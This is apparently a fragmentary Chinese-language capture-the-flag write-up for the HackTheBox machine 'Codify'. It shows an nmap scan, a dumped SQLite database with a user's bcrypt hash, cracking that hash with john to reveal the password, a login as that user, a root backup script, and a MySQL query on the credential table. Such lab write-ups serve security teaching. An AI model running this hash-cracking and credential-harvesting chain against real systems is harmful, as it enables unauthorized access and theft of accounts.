PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA) |_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://codify.htb/ | http-methods: |_ Supported Methods: GET POST OPTIONS 3000/tcp open http Node.js Express framework |_http-title: Codify | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
SQLite format 3 otableticketstickets CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P Ytablesqlite_sequencesqlite_sequence CREATE TABLE sqlite_sequence(name,seq) tableusersusers CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT )) indexsqlite_autoindex_users_1users joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 joshua users tickets Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
配置文件记录了 joshua 用户的 hash
john 或者 hashcat 爆破
1 2 3 4 5
┌──(root㉿ki10Moc)-[/] └─# john --show hash.txt ?:spongebob1
1 password hash cracked, 0 left
1 2 3
joshua@codify:/home$ id uid=1000(joshua) gid=1000(joshua) groups=1000(joshua) joshua@codify:/home$
for db in $databases; do /usr/bin/echo "Backing up database: $db" /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz" done
/usr/bin/echo "All databases backed up successfully!" /usr/bin/echo "Changing the permissions" /usr/bin/chown root:sys-adm "$BACKUP_DIR" /usr/bin/chmod 774 -R "$BACKUP_DIR" /usr/bin/echo 'Done!'
这里利用 johnua 用户登陆数据库看下 root 信息
1 2 3
mysql -u 'johnua' -h 0.0.0.0 -P 3306 -p use mysql; select * from user\G;